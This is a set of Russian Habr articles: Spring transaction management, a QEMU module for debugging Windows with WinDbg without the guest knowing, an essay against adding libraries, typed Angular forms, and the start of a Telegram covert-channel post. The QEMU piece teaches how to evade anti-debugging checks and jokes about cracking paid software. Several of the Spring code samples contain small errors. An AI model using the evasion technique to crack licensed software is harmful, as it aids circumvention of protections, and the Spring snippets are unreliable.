**1. Программное управление транзакциями**: Вы должны управлять транзакциями с помощью программирования. Это способ достаточно гибкий, но его сложно поддерживать.
**2. Декларативное управление транзакциями**: Вы отделяете управление транзакциями от бизнес-логики. Вы используете только аннотации в конфигурации на основе XML для управления транзакциями.
**Мы настоятельно рекомендуем использовать декларативные транзакции. Если вы хотите узнать причины, тогда читайте дальше, иначе переходите сразу к разделу Декларативное управление транзакциями, если хотите реализовать этот вариант.**
Теперь давайте рассмотрим каждый подход детально.
***2.1. Программное управление транзакциями:***
Фреймворк Spring предоставляет два средства для программного управления транзакциями.
a. Использование `TransactionTemplate` (рекомендовано командой Spring):
Давайте рассмотрим как можно реализовать этот тип на примере кода, представленного ниже (взято из документации Spring с некоторыми изменениями)
Обратите внимание, что фрагменты кода взяты из Spring Docs.
Файл Context Xml:
```
```
Класс `Service`:
```
public class ServiceImpl implements Service
{
private final TransactionTemplate transactionTemplate;
// используйте инъекцию в конструктор чтобы предоставить PlatformTransactionManager
public ServiceImpl(PlatformTransactionManager transactionManager)
{
this.transactionTemplate = new TransactionTemplate(transactionManager);
}
// параметры транзакции здесь могут быть установлены явно, если это необходимо, обеспечивая больше контроля
// Также мы можем сделать это через xml файл
this.transactionTemplate.setIsolationLevel(TransactionDefinition.ISOLATION_READ_UNCOMMITTED); this.transactionTemplate.setTimeout(30); //30 секунд
/// и так далее
public Object someServiceMethod()
{
return transactionTemplate.execute(new TransactionCallback()
{
// код в этом методе выполняется в транзакционном контексте
public Object doInTransaction(TransactionStatus status)
{
updateOperation1();
return resultOfUpdateOperation2();
}
});
}}
```
Если нет возвращаемого значения, используйте удобный класс `TransactionCallbackWithoutResult` с анонимным классом, как показано ниже:
```
transactionTemplate.execute(new TransactionCallbackWithoutResult()
{
protected void doInTransactionWithoutResult(TransactionStatus status)
{
updateOperation1();
updateOperation2();
}
});
```
* Экземпляры класса `TransactionTemplate` потокобезопасные, поэтому поддерживают не все диалоговые состояния.
* Экземпляры `TransactionTemplate` тем не менее поддерживают конфигурационное состояние, поэтому, если классу необходимо использовать TransactionTemplate с разными настройками (например, другой уровень изоляции), то вам нужно создать два различных экземпляра TransactionTemplate, хотя в некоторых классах может использоваться один экземпляр TransactionTemplate.
b. Использование реализации `PlatformTransactionManager` напрямую:
Давайте снова посмотрим на эту опцию в коде.
```
public class ServiceImpl implements Service
{
private PlatformTransactionManager transactionManager;
public void setTransactionManager( PlatformTransactionManager transactionManager)
{
this.transactionManager = transactionManager;
}
DefaultTransactionDefinition def = new DefaultTransactionDefinition();
// Явное указание имени транзакции - это то, что может быть сделано только программно
def.setName("SomeTxName");
def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED);
TransactionStatus status = txManager.getTransaction(def);
try
{
// выполняем вашу бизнес-логику здесь
}
catch (Exception ex)
{
txManager.rollback(status);
throw ex;
}
txManager.commit(status);
}
```
Теперь, перед тем как переходить к следующему способу управления транзакциями, давайте посмотрим как определиться, какой из типов управления транзакциями выбрать.
Выбор между **Программным** и **Декларативным управлением транзакциями**:
* Программное управление транзакциями — хороший выбор только в том случае, если у вас небольшое количество транзакционных операций. (В большинстве случаев это не транзакции.)
* Имя транзакции может быть явно установлено только при Программном управлении транзакциями.
* Программное управление транзакциями должно быть использовано когда вы хотите явно контролировать управление транзакциями.
* С другой стороны, если в вашем приложении содержаться многочисленные транзакционные операции, стоит использовать декларативное управление.
* Декларативное управление не позволяет управлять транзакциями в бизнес-логике и его несложно настроить.
***2.2. Декларативные транзакции (Обычно используется почти во всех сценариях любого веб-приложения)***
**Шаг 1**: Определите менеджер транзакций в контекстном xml файле вашего spring-приложения.
```
```
**Шаг 2**: Включите поддержку аннотаций, добавив запись в контекстном xml файле вашего spring-приложения.
ИЛИ добавьте `@EnableTransactionManagement` в ваш конфигурационный файл, как показано ниже:
```
@Configuration
@EnableTransactionManagement
public class AppConfig
{
...
}
```
***Spring рекомендует аннотировать только конкретные классы (и методы конкретных классов) с аннотацией `@Transactional` в сравнении с аннотирующими интерфейсами.***
Причина этого заключается в том, что вы помещаете аннотацию на уровень интерфейса, и если вы используете прокси-классы (`proxy-target-class = «true»`) или сплетающий аспект (`mode = «aspectj»`), тогда параметры транзакции не распознаются инфраструктурой проксирования и сплетения, например Транзакционное поведение не будет применяться.
**Шаг 3**: Добавьте аннотацию **`@Transactional`** в класс (метод класса) или интерфейс (метод интерфейса).
Конфигурация по умолчанию: `proxy-target-class="false"`
* Аннотация `@Transactional` может быть помещена перед определением интерфейса, метода интерфейса, определением класса или публичным методом класса.
* Если вы хотите, чтобы некоторые методы класса (помеченные аннотацией `@Transactional`) имели разные настройки атрибутов, такие как уровень изоляции или уровень распространения, разместите аннотацию на уровне метода, чтобы переопределить настройки атрибутов уровня класса.
* В режиме прокси (который установлен по-умолчанию) могут быть перехвачены только “внешние“ вызовы метода, идущие через прокси. Это означает, что “самостоятельный вызов”, например метод в целевом объекте, вызывающий какой-либо другой метод целевого объекта, не приведет к фактической транзакции во время выполнения даже если вызываемый метод помечен с `@Transactional`.
Теперь давайте разберем разницу между атрибутами аннотации `@Transactional`
**`@Transactional (isolation=Isolation.READ_COMMITTED)`**
* По умолчанию установлено `Isolation.DEFAULT`
* В большинстве случаев, вы будете использовать настройки по-умолчанию до тех пор, пока у вас не появится особые требования.
* Сообщает менеджеру транзакции (`tx`), что для текущего `tx` должен использоваться следующий уровень изоляции. Должен быть установлен в точке, откуда начинается `tx`, потому что мы не можем изменить уровень изоляции после запуска tx.
**DEFAULT**: Использовать уровень изоляции установленный по умолчанию в базовой базе данных.
**READ\_COMMITTED** (чтение фиксированных данных): Постоянная, указывающая, что “грязное” чтение предотвращено; могут возникать неповторяющееся чтение и фантомное чтение.
**READ\_UNCOMMITTED** (чтение незафиксированных данных): Этот уровень изоляции указывает, что транзакция может считывать данные, которые еще не удалены другими транзакциями.
**REPEATABLE\_READ** (повторяемость чтения): Постоянная, указывающая на то, что “грязное” чтение и неповторяемое чтение предотвращаются; может появляться фантомное чтение.
**SERIALIZABLE** (упорядочиваемость): Постоянная, указывающая, что “грязное” чтение, неповторяемое чтение и фантомное чтение предотвращены.
Что означают эти жаргонизмы: “грязное” чтение, фантомное чтение или повторяемое чтение?
* **“Грязное” чтение (Dirty Read)**: транзакция «A» производит запись. Между тем, транзакция «B» считывает ту же самую запись до завершения транзакции A. Позже транзакция A решает откатится, и теперь у нас есть изменения в транзакции B, которые несовместимы. Это грязное чтение. Транзакция B работала на уровне изоляции READ\_UNCOMMITTED, поэтому она могла считывать изменения, внесенные транзакцией A до того, как транзакция завершилась.
* **Неповторяющееся чтение (Non-Repeatable Read)**: транзакция «A» считывает некоторые записи. Затем транзакция «B» записывает эту запись и фиксирует ее. Позже транзакция A снова считывает эту же запись и может получить разные значения, поскольку транзакция B вносила изменения в эту запись и фиксировала их. Это неповторяющееся чтение.
* **Фантомные чтение (Phantom Read)**: транзакция «A» читает ряд записей. Между тем, транзакция «B» вставляет новую запись в этот же ряд, что и транзакция A. Позднее транзакция A снова считывает тот же диапазон и также получит запись, которую только что вставила транзакция B. Это фантомное чтение: транзакция извлекала ряд записей несколько раз из базы данных и получала разные результирующие наборы (содержащие фантомные записи).
`**@Transactional(timeout=60)**`
По умолчанию используется таймаут, установленный по умолчанию для базовой транзакционной системы.
Сообщает менеджеру tx о продолжительности времени, чтобы дождаться простоя tx, прежде чем принять решение об откате не отвечающих транзакций.
`**@Transactional(propagation=Propagation.REQUIRED)**`
Если не указано, распространяющееся поведение по умолчанию — `REQUIRED`.
Другие варианты: `REQUIRES_NEW, MANDATORY, SUPPORTS, NOT_SUPPORTED, NEVER` и `NESTED`.
**REQUIRED**
Указывает, что целевой метод не может работать без активного tx. Если tx уже запущен до вызова этого метода, то он будет продолжаться в том же tx, или новый tx начнется вскоре после вызова этого метода.
**REQUIRES\_NEW**
* Указывает, что новый tx должен запускаться каждый раз при вызове целевого метода. Если уже идет tx, он будет приостановлен, прежде чем запускать новый.
**MANDATORY**
* Указывает, что для целевого метода требуется активный tx. Если tx не будет продолжаться, он не сработает, выбросив исключение.
**SUPPORTS**
* Указывает, что целевой метод может выполняться независимо от tx. Если tx работает, он будет участвовать в том же tx. Если выполняется без tx, он все равно будет выполняться, если ошибок не будет.
* Методы, которые извлекают данные, являются лучшими кандидатами для этой опции.
**NOT\_SUPPORTED**
* Указывает, что целевой метод не требует распространения контекста транзакции.
* В основном те методы, которые выполняются в транзакции, но выполняют операции с оперативной памятью, являются лучшими кандидатами для этой опции.
**NEVER**
* Указывает, что целевой метод вызовет исключение, если выполняется в транзакционном процессе.
* Этот вариант в большинстве случаев не используется в проектах.
**`@Transactional (rollbackFor=Exception.class)`**
Значение по умолчанию: `rollbackFor=RunTimeException.class`
В Spring все классы API бросают RuntimeException, это означает, что если какой-либо метод не выполняется, контейнер всегда откатывает текущую транзакцию.
Проблема заключается только в проверенных исключениях. Таким образом, этот параметр можно использовать для декларативного отката транзакции, если происходит `Checked Exception`.
`**@Transactional (noRollbackFor=IllegalStateException.class)**`
Указывает, что откат не должен происходить, если целевой метод вызывает это исключение.
Теперь последним, но самым важным шагом в управлении транзакциями является размещение аннотации `@Transactiona`l. В большинстве случаев возникает путаница, где должна размещаться аннотация: на сервисном уровне или на уровне DAO?
**`@Transactional`: Сервисный или DAO уровень?**
Сервис — лучшее место для размещения `@Transactional`, сервисный уровень должен содержать поведение варианта использования на уровне детализации для взаимодействия пользователя, которое логически переходит в транзакцию.
Существует много CRUD-приложений, у которых нет существенной бизнес-логики, имеющих сервисный уровень, который просто передает данные между контроллерами и объектами доступа к данным, что не является полезным. В этих случаях мы можем поместить аннотацию транзакции на уровень DAO.
Поэтому на практике вы можете поместить их в любом месте, это зависит от вас.
Кроме того, если вы поместите `@Transactional` в уровень DAO и если ваш уровень DAO будет повторно использоваться разными службами, тогда будет сложно разместить его на уровне DAO, так как разные службы могут иметь разные требования.
Если ваш сервисный уровень извлекает объекты с помощью Hibernate, и, допустим, у вас есть ленивые инициализации в определении объекта домена, тогда вам нужно открыть транзакцию на сервисном уровне, иначе вам придется столкнуться с LazyInitializationException, брошенным ORM.
Рассмотрим другой пример, когда ваш уровень обслуживания может вызывать два разных метода DAO для выполнения операций БД. Если ваша первая операция DAO завершилась неудачей, остальные две могут быть переданы, и вы закончите несогласованное состояние БД. Аннотирование на сервисном уровне может спасти вас от таких ситуаций.
Надеюсь, эта статья вам помогла.
THE END
Всегда интересно увидеть ваш комментарии или вопросы. | https://habr.com/ru/post/431508/ | null | ru | null |
# Как удалённо отлаживать через WinDbg не включая отладочный режим Windows
 Иногда при анализе какой-нибудь ~~платной программы~~ малвари случается так, что она не хочет нормально работать, если в памяти есть отладчик или включён отладочный режим Windows.
В таких ситуациях помогает использование виртуальной машины с подключённым к ней отладчиком (например, GDB или IDA). Это если программа не пытается «сломаться» и в виртуальной машине тоже.
Если вам повезло, и программа не против запуститься в виртуальной машине, то с помощью GDB можно походить по её внутренностям и даже сопоставить их с исходными текстами, если в бинарнике есть отладочная информация в формате DWARF.
 
*Смотрим на ядро Windows через WinDbg и GDB*
Если же программа собрана в Visual Studio, то показать отладочную информацию GDB не сможет. Про имена API-функций Windows в листинге тоже можно забыть. Здесь мог бы пригодиться WinDbg, но как им подключиться к виртуальной машине, если отладочный режим ОС нас не устраивает?
Вот было бы здорово, если бы в какой-нибудь виртуальной машине был бы интерфейс удалённой отладки, подобный тому, что использует GDB, — подумали мы и написали такой модуль для виртуальной машины QEMU. Всё выложено в виде [исходников](https://github.com/ispras/qemu/tree/windbg) и [бинарников для Windows](https://github.com/ispras/qemu/releases), так что каждый может попробовать его применить.
Про удалённую отладку с помощью WinDbg уже есть материал на [хабре](https://habrahabr.ru/post/130213/). Там рассказывается как включить отладочный режим Windows и использовать его для удалённого подключения WinDbg. Отладчик подключается через виртуальный COM-порт, связанный с именованным каналом Windows.
*Обычный порошок против отладочного сервера, встроенного в QEMU*
В нашем случае QEMU без участия гостевой системы подключится к этому именованному каналу, чтобы выдавать отладчику информацию о происходящем внутри Windows. Сама операционная система не знает, что её отлаживают, поэтому отладка получается в некотором роде скрытой.
Чтобы запустить QEMU в таком режиме, понадобится ключ -windbg:
```
qemu-system-i386.exe -windbg pipe:windbg -hda disk.qcow2
```
После этого QEMU будет ждать подключения отладчика. Его нужно запустить такой командой:
```
windbg.exe -b -k com:pipe,baud=115200,port=\\.\pipe\windbg,resets=0
```
Когда начнётся эмуляция, выбираем режим работы без отладочного модуля Windows:
Через некоторое время ОС инициализирует всё что нужно для работы отладчика, он остановит работу эмулятора и предложит вводить команды:
WinDbg сразу же пишет, что не найдена символьная информация: `Symbol search path is: *** Invalid ***` Загрузить символьную информацию о системных библиотеках можно парой команд .symfix и .reload.
То же самое можно сделать и через меню File -> Symbol File Path..., где указать пути к временному каталогу и серверу Microsoft srv\*d:\tmp\*http://msdl.microsoft.com/download/symbols
Теперь WinDbg будет знать названия внутренних структур и функций Windows и имена библиотечных функций. Они показываются в листингах, к ним можно привязывать точки останова и т.п.
После этого продолжим загрузку ОС командой g и запустим там нужные приложения~~, а потом сломаем их~~. Теперь если нажать Ctrl+Break в окне WinDbg, то эмуляция приостанавливается, а в отладчике включается командная строка, в которой можно делать всякие полезные вещи.
Например, команда !dlls покажет нам список модулей, загруженных в текущем процессе:
Понятие «текущий процесс» появляется при удалённой отладке. Ведь ОС постоянно переключает виртуальные адресные пространства, привязанные к задачам. Команда !dml\_proc выводит список запущенных процессов:
Видно, что в системе работает приложение CrashMe (я взял его с сайта [www.windbg.info](http://www.windbg.info)). Запущенного отладчика в системе оно не нашло.
Чтобы поотлаживать эту программу, переключимся в ее контекст с помощью команды .process. Её параметр — это адрес структуры EPROCESS, который указан в первой колонке вывода команды !dml\_proc. Проверить, что всё получилось, можно командой !peb:
Чтобы отладка была комфортной, загрузим символьную информацию и укажем где хранятся исходные тексты этой программы. После этого командой bp можно создать точку останова:
```
.sympath+ E:\QemuImages\CrashMe\debug
.reload /user
.srcpath+ E:\QemuImages\CrashMe\CrashMe
bp CCrashMeDlg::OnBnClicked_CallingConvention
g
```
Теперь при нажатии кнопки «Test Calling Conventions» на форме приложения мы вывалимся в отладчик:
Дальше можно открыть файл с исходным текстом:
Проверить стек вызовов:
Или изучить локальные переменные:
Другая полезная возможность WinDbg — фильтры событий. Можно поставить прерывание работы на разные исключительные ситуации, на событие загрузки модуля или запуска приложения. Обычно сообщения о таких событиях посылает отладочный сервер в гостевой системе, а в WinDbg настраиваются фильтры для них в окне Debug → Event Filters:
Перехват событий и исключительных ситуаций мы пока не реализовывали никак.
Если с int 3 или делением на 0 довольно просто разобраться на уровне эмулятора, то для выявления создания процесса надо проделать намного больше работы.
Все остальные функции WinDbg должны хорошо работать для 32-битных систем, а 64-битными мы пока толком не занялись, сейчас готовим патчи, чтобы все эти функции были доступны всем пользователям QEMU по умолчанию.
**Ссылки**
1. [Сборку QEMU под Windows с возможностью скрытого подключения WinDbg можно скачать здесь](https://github.com/ispras/qemu/releases)
2. [Если вас устраивает отладочный режим работы Windows, то здесь написано как его можно использовать в QEMU](http://resources.infosecinstitute.com/kernel-debugging-qemu-windbg/#gref)
3. [А здесь то же самое про VirtualBox с акцентом на отладку драйверов](https://habrahabr.ru/post/130213/)
4. [Описание некоторых команд и расширений WinDbg](https://habrahabr.ru/post/187522/)
5. [Ещё один список команд](http://www.windbg.info/doc/1-common-cmds.html)
6. [Подборка ссылок про WinDbg](http://www.windbg.org/)
7. [Про отладку .NET-приложений в WinDbg](https://habrahabr.ru/company/jugru/blog/326454/) | https://habr.com/ru/post/327128/ | null | ru | null |
# Сопротивляйтесь добавлению в проект новых библиотек
Итак, вам понадобилось реализовать в проекте функциональность X. Теоретики разработки программного обеспечения в этот момент говорят, что для этого нужно взять уже существующую библиотеку Y и использовать её для реализации необходимых вам вещей.
Собственно, это классический подход в разработке программного обеспечения — повторное использование своих или чужих наработок (сторонних библиотек). И именно этим путём движется большинство программистов.
Однако, теоретики в статьях и книгах, забывают упомянуть, в какой ад превращается поддержка несколько десятков сторонних библиотек, живущих в вашем проекте, скажем по прошествии 10 лет.
Я рекомендую всячески сопротивляться добавлению в проект каждой новой библиотеки. Но прошу понять меня правильно. Я вовсе не говорю, что не надо использовать библиотеки и писать всё самостоятельно. Это просто-напросто глупо. Однако, часто новая библиотека добавляется в проект по прихоти одного разработчика, с целью использовать в ней какую-то маленькую «фитюльку». Добавить новую библиотеку не сложно. Вот только потом всей команде много лет придётся нести груз её поддержки.
Наблюдая за развитием некоторых больших проектов, я могу перечислить ряд проблем наличия большого количества сторонних библиотек. Наверное, я перечислю далеко не все проблемы, но даже следующий список должен побудить вас задуматься:1. Добавление новых библиотек быстро увеличивает размер проекта. В нашу эпоху быстрого интернета и больших SSD дисков это не является существенно проблемой. Однако, когда проект начинает скачиваться из системы контроля версий не за 1 минуту, а за 10, это уже неприятно.
2. Даже если вы используете 1% от возможностей библиотеки, как правило в проект она будет включена целиком. В результате, если библиотеки используется в виде готовых модулей (например, DLL), то очень быстро растёт размер дистрибутива. Если вы используете библиотеки в виде исходного кода, то существенно увеличивается время компиляции.
3. Усложняется инфраструктура, связанная с компиляцией проекта. Некоторым библиотекам требуются дополнительные компоненты. Простой пример: для сборки требуется наличие Python. В результате через некоторое время для сборки проекта нужно в начале вырастить на компьютере целый сад вспомогательных программ. Возрастает вероятность, что где-то что-то перестанет работать. Объяснить это сложно, это надо прочувствовать. В больших проектах постоянно «отваливается» то одно то другое и нужно постоянно прилагать усилие чтобы всё работало и компилировалось.
4. Если вы заботитесь об уязвимостях, вы должны регулярно обновлять сторонние библиотеки. Злоумышленникам выгодно изучать код библиотек с целью поиска уязвимостей. Во-первых, многие библиотеки открыты, а во-вторых, найдя дыру в одной из библиотек можно получить отмычку сразу ко многим приложениям, где эта библиотека используется.
5. У вас будут проблемы при переходе на новую версию компилятора. Обязательно будет несколько библиотек, которые не будут торопиться адаптироваться под новый компилятор. И вы будете вынуждены ждать или самим вносить какие-то проявки в библиотеки.
6. У вас будут проблемы при переходе на другой компилятор. Например, вы используете Visual C++, а хотите использовать Intel C++. Обязательно найдется пара библиотек, с которыми что-то не заладится.
7. У вас будут проблемы при переходе на другую платформу. Не обязательно даже на «сильно другую платформу». Достаточно захотеть превратить Win32 приложение в Win64. У вас будут все те-же проблемы. Несколько библиотек к этому окажутся не готовы и будет непонятно, что с ними делать. Особенно неприятна ситуация, когда библиотека заброшена и более не развивается.
8. Рано или поздно, если вы используете множество Си-библиотек, где типы не лежат в namespace, у вас начинают пересекаться имена. Это приводит к ошибкам компиляции или к скрытым ошибкам. Например, начинает использоваться константа не из того enum, из которого вы планировали.
9. Если в проекте используется много библиотек, добавление ещё одной не выглядит чем-то вредным. Можно провести аналогию с [теорией разбитых окон](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D1%80%D0%B0%D0%B7%D0%B1%D0%B8%D1%82%D1%8B%D1%85_%D0%BE%D0%BA%D0%BE%D0%BD). В результате разрастание проекта приобретает неконтролируемый характер.
10. Есть масса других негативных моментов, о которых я не помню и не знаю. Но в любом случае дополнительные библиотеки очень быстро увеличивают сложность поддержки проекта. Это сложность может проявляться в самых неожиданных местах.
Ещё раз подчеркну. Я не призываю вас отказаться от использования сторонних библиотек. Если в программе вам понадобилось работать с изображениями в формате PNG, то вам надо взять библиотеку LibPNG и не изобретать велосипед.
Но даже работая с PNG, надо остановиться и подумать. А нужна ли библиотека? Какие операции нужно выполнять с изображениями? Быть может, если вся задача сводится к тому, чтобы сохранить какое-то изображение в \*.png — файл, можно обойтись системными функциями. Например, если у вас Windows приложение, то вам поможет [WIC](https://msdn.microsoft.com/en-us/library/ee719654). А если вы уже используете библиотеку MFC, та вообще не надо усложнять код, ведь есть класс CImagе (см. [обсуждение](http://stackoverflow.com/questions/366768/convert-bitmap-to-png-in-memory-in-c-win32) на сайте StackOverflow). Минус одна библиотека — отлично!
Приведу пример из собственной практики. В процессе разработки анализатора PVS-Studio, в паре диагностик потребовалось применять простые регулярные выражения. Вообще, я убеждён, что регулярным выражениям не место в статическом анализе. Это крайне неэффективный подход. Я даже писал [статью](http://www.viva64.com/ru/b/0087/) на эту тему. Однако иногда в какой-то строке нужно бывает что-то найти с помощью регулярного выражения.
Можно было-бы «прикрутить» какую-то из существующих библиотек. Было понятно, что все они будут избыточны, но ведь регулярные выражения все равно нужны и нужно было принять какой-то решение.
Совершенно случайно, именно в тот момент я читал книгу «Beautiful Code» (ISBN 9780596510046). Эта книга о простых и изящных решениях. И в ней я повстречал крайне простую реализацию регулярных выражений. Буквально несколько десятков строк. И всё!
Я взял из книги эту реализацию и начал использовать в PVS-Studio. И знаете, что? До сих пор возможностей этой реализации нам хватает. Какие-то сложные регулярные выражения нам просто не нужны.
Итог. Вместо того, чтобы в проекте появилась какая-то дополнительная библиотека, было потрачено около получаса времени на написания нужной функциональности. Было подавлено желание использовать библиотеку «на все случаи жизни». И оказалось это было правильное решение. Это подтверждается, тем что в течении нескольких лет эта самая функциональность «на все случаи» не понадобилась.
Этот случай окончательно убедил меня, что надо по возможности искать простые решения. По возможности, отказываясь от библиотек вы делаете проект более простым.
Возможно, читателям будет интересно узнать, что же это за такой код для поиска по регулярным выражениям. Перепечатаю его из книги.
Посмотрите, как элегантно. Это код был мной немого изменён при интеграции в PVS-Studio, но его суть не изменилась.
**Код из книги**
```
// Формат регулярного выражения.
// c Соответсвует любой букве "с"
// .(точка) Соответсвует любому одному символу
// ^ Соответсвует началу входящей строки
// $ Соответствует концу входящей строки
// * Соответствует появлению предыдущего символа от нуля до
// нескольких раз
int matchhere(char *regexp, char *text);
int matchstar(int c, char *regexp, char *text);
// match: поиск соответствий регулярному выражению по всему тексту
int match(char *regexp, char *text)
{
if (regexp[0] == '^')
return matchhere(regexp+1, text);
do { /* нужно посмотреть даже пустую строку */
if (matchhere(regexp, text))
return 1;
} while (*text++ != '\0');
return 0;
}
// matchhere: поиск соответствий регулярному выражению в начале текста
int matchhere(char *regexp, char *text)
{
if (regexp[0] == '\0')
return 1;
if (regexp[1] == '*')
return matchstar(regexp[0], regexp+2, text);
if (regexp[0] == '$' && regexp[1] == '\0')
return *text == '\0';
if (*text!='\0' && (regexp[0]=='.' || regexp[0]==*text))
return matchhere(regexp+1, text+1);
return 0;
}
// matchstar: поиск регулярного выражения вида с* с начала текста
int matchstar(int c, char *regexp, char *text)
{
do { /* символ * соответствует нулю или
большему количеству появлений */
if (matchhere(regexp, text))
return 1;
} while (*text != '\0' && (*text++ == c || c == '.'));
return 0;
}
```
**Рекомендация.** Сопротивляйтесь добавлению в проект новых библиотек. Добавлять следует только когда, когда очевидно, что без библиотеки не обойтись.
Вот некоторые возможные манёвры:1. Быть может нужную функциональность уже предоставляет API вашей системы или одна из уже используемых библиотек. Исследуйте этот вопрос.
2. Если вы планируете использовать совсем маленький кусочек функциональности из библиотеки, то есть смысл реализовать его самостоятельно. Аргумент «лучше подключить библиотеку, вдруг потом ещё что-то понадобится» никуда не годится. Почти всегда из этой библиотеки в будущем больше ничего использоваться не будет. Программисты слишком тяготеют к универсальности, которая на самом деле не нужна.
3. Если для решения задачи есть несколько библиотек, то выбирайте самую простую, которая удовлетворяет требованиям. Как я писал выше, гоните прочь мысли «на всякий случай взять библиотеку покруче».
4. Прежде чем начать добавлять библиотеку, просто подождите и подумайте. Попейте чаю, отвлекитесь, обсудите задачу с коллегами. Возможно в процессе выяснится, что можно решить задачу совсем иным путём, не прибегая к помощи сторонних библиотек.
P.S. Многим рассказанное здесь придется не по душе. Например, то что я рекомендую использовать не переносимую универсальную библиотеку, а допустим WinAPI. На это будут возражения, основанные на том, что тем самым мы привязываем проект к одной операционной системе. И потом будет очень сложно сделать программу переносимой. Я с этим не согласен. Часто идея «потом перенесем на другу операционную систему» живет только в голове разработчика. На самом деле такая задача вообще может быть никогда не поставлена руководством. Или проект «загнётся» из-за излишней сложности и универсальности, ещё до момента популярности и необходимости портирования. Плюс не забывайте пункт (7) в списке проблем, приведенный выше. | https://habr.com/ru/post/275159/ | null | ru | null |
# Превращаем реактивные формы Angular в строго типизированные за одну минуту
Привет, Хабр! Представляю вашему вниманию перевод статьи ["Convert into Strongly Typed Angular Forms in a Minute"](https://indepth.dev/convert-into-strongly-typed-angular-forms-in-a-minute-2) автора Ajay Ojha.
В данной статье мы узнаем о том, как превратить реактивную форму в строго типизированную без изменения определения класса.
Многие из нас любят TypeScript за его строгую типизацию. Это то, что делает фреймворк Angular таким мощным. При этом реактивные формы Angular не являются полностью строго типизированными. Все из-за очень частого использования ключевого слова «[any](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html#any)», что негативно сказывается на качестве кода при разработке форм с точки зрения невозможности проверки на опечатки, несоответствие типов и т.д.
Недавно мой друг обсуждал задачи, связанные с возможностью реализации строгой типизации в реактивных формах в Angular. Я думал над тем же, и в результате пришел к интуитивно понятному решению, основанному на следовании принципу разделения интерфейсов. Но прежде чем углубиться в раздел «Как», давайте сперва взглянем на существующие задачи.
### Исследование и задачи
Для любого крупномасштабного корпоративного frontend-приложения характерен постепенный рост, и появление в нем форм является неизбежным. Учитывая этот факт, мой друг проделал огромную работу по кастомизации реактивных форм, что позволило внедрить строгую типизацию, и как следствие, обнаруживать ошибки, возникающие из-за опечаток или неверного приведения типов еще на этапе сборки.
Вот несколько основных проблем:
1. Во время сборки не возникает ошибка если есть опечатка в названии контрола;
2. В *valueChanges* и *statusChanges* класса *FormControl* возникают ошибки приведения типов;
3. Сложность управления вложенными *FormGroup* и *FormArray* из-за множества различных типов.
Все вышеперечисленные задачи были решены моим другом посредством расширения базовых классов (*FormGroup*, *FormControl* и *FormArray*), а также путем использования обобщенных классов. При этом проблемы все еще остаются, но немного в другом ключе:
1. При таком подходе теряются все преимущества использования класса *FormBuilder* для создания *FormControl*, *FormGroup* и *FormArray*;
2. Любая ошибка в обобщенных классах может привести к непредвиденному поведению всего приложения;
3. Существует очень большая вероятность смешения классов, когда часть объектов *FormGroup* создаются через обобщенные классы, а часть посредством базового класса [@angular/forms](https://www.npmjs.com/package/@angular/forms).
Самое время перейти к решению, которое устраняет все вышеперечисленные проблемы при этом ни на байт не увеличивая размер итогового бандла приложения.
### Не использовать обобщенные классы? Как такое возможно?
Как я и сказал в начале, мы можем реализовать строгую типизацию реактивных форм применяя принцип разделения интерфейсов.
### Как?
Для превращения наших реактивных форм в строго типизированные мы будем использовать [@rxweb/types](https://www.npmjs.com/package/@rxweb/types). Данный пакет содержит исключительно определения типов, поэтому можно не бояться, что что-то сломается в процессе выполнения.
Рассмотрим типичный случай, когда у нас имеются *FormControl* с вложенными *FormGroup* и *FormArray*. Ниже представлен код создания *FormGroup*.
```
export class AppComponent implements OnInit {
formGroup: FormGroup;
formBuilder: FormBuilder;
constructor(formBuilder: FormBuilder) {
this.formBuilder = formBuilder;
}
ngOnInit() {
this.formGroup = this.formBuilder.group({
firstName: ['', [Validators.required]],
address: this.formBuilder.group({
countryName: ["", Validators.required]
}),
skills: this.formBuilder.array([
this.formBuilder.group({
name: ["", Validators.required]
})
])
});
}
}
```
Теперь мы превратим данную форму в строго типизированную проделав четыре простых шага.
Шаг 1. Установка пакета
```
npm install @rxweb/types
```
Шаг 2. Создание интерфейса
Все вышеперечисленные имена контролов будут определены как свойства соответствующего интерфейса. Например:
**User** >> firstName, address, skills; **Address** >> countryName; **Skill** >> name.
Шаг 3. Импорт обобщенного интерфейса
Далее нам необходимо импортировать два указанных ниже интерфейса:
1. *IFormGroup*: предоставляет строго типизированное API для *FormGroup*;
2. *IFormBuilder*: дает возможность создать строго типизированные *FormGroup*, *FormControl* и *FormArray*.
Код импорта:
```
import { IFormGroup, IFormBuilder } from “@rxweb/types”;
```
Шаг 4. Превращаем реактивную форму в строго типизированную
Для преобразования мы должны выполнить следующие действия:
1. Заменить тип *FormGroup* на *IFormGroup*;
2. Заменить тип *FormBuilder* на *IFormBuilder*;
3. Передать интерфейс соответствующему методу группы `group`, `group` и `array`.
Вот, собственно, и все.
Код после преобразования:
```
formGroup: IformGroup;
formBuilder: IformBuilder;
ngOnInit() {
this.formGroup = this.formBuilder.group({
firstName: ['', [Validators.required]],
address: this.formBuilder.group({
countryName: ["", Validators.required]
}),
skills: this.formBuilder.array([
this.formBuilder.group({
name: ["", Validators.required]
})
])
});
}
```
Таким образом, все вышеперечисленные проблемы решены путем выполнения четырех несложных шагов.
Ниже представлены ошибки приведения типов/опечаток, возникающие после преобразования формы в строго типизированную
Опечатка
Несоответствие типов
Для более глубокого понимания работы API строго типизированных реактивных форм см. [пример](https://stackblitz.com/edit/rxweb-types-strongly-typed-reactive-form?embed=1&file=src/app/app.component.ts). Также для получения дополнительной информации вы можете обратиться к [документации](https://docs.rxweb.io/strongly-typed/angular-strongly-typed).
### Заключение
Самое потрясающе то, что наша форма превратилась в строго типизированную без изменения определения класса, исключительно при помощи интерфейса. Но если вы ищете решение, которое предоставляет нечто большее, чем просто строгую типизацию, например, устраняет проблему дублирования кода, и при этом следует принципам предметно-ориентированного проектирования и принципу единственной ответственности, я бы посоветовал обратиться к статье «[New Way to Validate the Angular Reactive Form](https://medium.com/angular-in-depth/new-way-to-validate-the-angular-reactive-form-2c4fe4f13373)». | https://habr.com/ru/post/524106/ | null | ru | null |
# Even more secret Telegrams
We used to think of Telegram as a reliable and secure transmission medium for messages of any sort. But under the hood it has a rather common combination of a- and symmetric encryptions. Where’s fun in that? And why would anyone trust their private messages to a third-party anyway?
TL;DR — inventing a private covert channel through users blacklisting each other.
Covert channels
---------------
